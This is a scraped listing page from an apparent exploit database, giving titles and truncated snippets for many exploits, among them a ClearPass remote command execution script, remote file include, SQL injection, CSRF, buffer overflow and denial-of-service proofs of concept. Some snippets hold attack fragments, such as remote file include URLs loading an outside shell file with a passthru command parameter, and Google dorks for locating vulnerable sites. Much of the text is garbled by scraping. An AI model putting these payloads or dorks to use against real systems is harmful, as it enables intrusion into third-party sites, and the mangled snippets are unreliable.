ClearPass Policy Manager Unauthenticated Remote Command Execution Exploit

!/usr/bin/env bash ClearPass Policy Manager Unauthenticated Remote Command Execution in the WebUI CVE-2020-7115 For best results use OpenSSL/libcrypto shipped with RHEL/CentOS 7.x. Questions? Contact email protected. if "$" -ne 4 ; then echo "Usage: basename $0 remote host remote port local host...

Information disclosure

SSB-DB version 20.0.0 has an information disclosure vulnerability. The get method is supposed to only decrypt messages when you explicitly ask it to, but there is a bug where it's decrypting any message that it can. This means that it is returning the decrypted content of private messages, which ...

Design/Logic Flaw

A specially crafted Bitcoin script can cause a discrepancy between the specified SLP consensus rules and the validation result of the email protected npm package. An attacker could create a specially crafted Bitcoin script in order to cause a hard-fork from the SLP consensus. All versions 1.0.0...

FreeSMS (Free Student Management System) 2.1.2 Multiple Vulnerability

Exploit for php platform in category web applications / \ / | / \ /000000 | 00 | /000000 | 00 \00/ / \ / \ / \ 00 \ / / \ / \ 00 \00/ / \ / | 00 \ 000000 |/000000 |000000 |0000000 |000000 0000 | 000000 | 00 \ /000000 |/0000000/ 000000 | / 00 |00 | 00/ / 00 |00 | 00 |00 | 00 | 00 | / 00 | 000000...

Actualizer CMS - Multiple Vulnerabilities

Cross Site Scripting, Blind SQL Injection and Full Path Disclosure that i found on Actualizer CMS. Title: Actualizer CMS - Multiple Vulnerabilities Date: 22.09.2013 Tested on: Linux 3.0 - 3.9 95% Vendor: actualizer.pl Demo: demo.actualizer.pl Dork: intext:"Powered by Actualizer & Heuristic"...

[email protected] CMS v2.0 <= (ShellUpload/LFI) Multiple Vulnerabilities

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Sagem [email protected] 2604 CSRF Vulnerability (ADSL Router)

Exploit for hardware platform in category web applications ================================================================================ || | | || || || |/ | || |/ | | | | | | | | | | | \ | | | | \ ================================================================================ Exploit Title:...

Archos 5/Archos OS 2.0.45 Media Centre GIF Denial Of Service Exploit

Exploit for windows platform in category dos / poc include using namespace std; / ---------------------------------------------------------------- 888 .d8888b. 888 d88P Y88b 888 .d88P .d8888b .d88b. 88888b.d88b. 88888b. 888 8888" 888 888 d88P" d88""88b 888 "888 "88b 888 "88b 888 "Y8b. Y8bd8P' 888...

Escort Directory CMS SQL Injection Vunerability

Exploit for php platform in category web applications Exploit Title: Escort Directory CMS SQL Injection Vunerability Google Dork: "Powered By Escort Web design" Platform: php Author: NoNameMT Software Link: http://www.escortwebsitedesign.co.uk/directory-design/ Price: 750 € Tested on: Windows 7...

WR-Meeting 1.0 (msnum) Local File Disclosure Vulnerability

Exploit for unknown platform in category web applications ========================================================== WR-Meeting 1.0 msnum Local File Disclosure Vulnerability ========================================================== | By email protectedKing ^| GrtZ : TheKacak - CrackersChild - Rm...

ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ ZebraFeeds 1.0 zfpath Remote File Include Vulnerabilities ============================================================ Discovered By:- ThE email protected aggregator.php:-...

CoD2: DreamStats <= 4.2 (index.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== CoD2: DreamStats index.php:- if !$slots include$rootpath . 'html/serveroffline.php';exit; ExPlOiT:-http://www.Site.com/PaTh/index.php?rootpath=Shell 0day.today 2018-04-0...

AINS 0.02b (ains_main.php ains_path) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ====================================================================== AINS 0.02b ainsmain.php ainspath Remote File Include Vulnerability ====================================================================== AINS 0.02b - Remote File Inclu...

[email protected] <= 3.1.9e (naboard_pnr.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== email protected = 3.1.9e naboardpnr.php Remote File Include Vulnerability ===================================================================== email protected v3.1.9e,...

[email protected] <= 0.1.5 beta (skiny) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== email protected perl exploit.pl http://site.com/email protectedPath/ http://site.com/cmd.txt cmd cmd shell example: ?passthru$GETcmd;?...

[email protected] <= 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================= email protected = 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit ================================================================= !/usr/bin/python email protected 1.0...

[email protected] <= 1.0.1 client Log::ReallyPrint Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ============================================================= email protected include include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h ...

Willing Webcam 2.8 Licence Info Disclosure Local Exploit

Exploit for unknown platform in category local exploits ======================================================== Willing Webcam 2.8 Licence Info Disclosure Local Exploit ======================================================== / Willing Webcam 2.8 licence info disclosure local exploit by Kozan...